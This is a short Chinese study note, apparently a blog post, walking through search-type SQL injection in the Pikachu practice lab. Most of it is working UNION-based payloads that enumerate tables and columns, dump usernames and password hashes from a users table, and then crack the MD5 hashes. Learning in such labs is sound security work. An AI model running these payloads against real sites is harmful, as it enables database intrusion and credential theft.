手动漏洞挖掘(三)
学习web渗透过程中的心得体会以及知识点的整理,方便我自己查找,也希望可以和大家一起交流。
—— Pikachu搜索型注入 ——
需要的工具:
- pikachu
一.过程
- 搜索
因为会自动匹配到username,所以可以联想到这段语句使用了mysql的模糊查询。sql语句可能为:Where username like ’%a%‘。我们先尝试闭合,然后再注释,看是否能正常返回。
- 可以正常返回,然后判断列数
a%’ order by 4 #
--报错
a%’ order by 3 #
--正常 - 联合查询查看注入点
a%’ union select 1,2,3 #
-
先爆库
a%’ union select 1,2,database() #
-
爆表
a%’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #
-
爆字段
a%’ union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=“users”#
爆表中的字段内容
a%’ union select 1,2,group_concat(id,username,password) from users #
-
MD5解密获得密码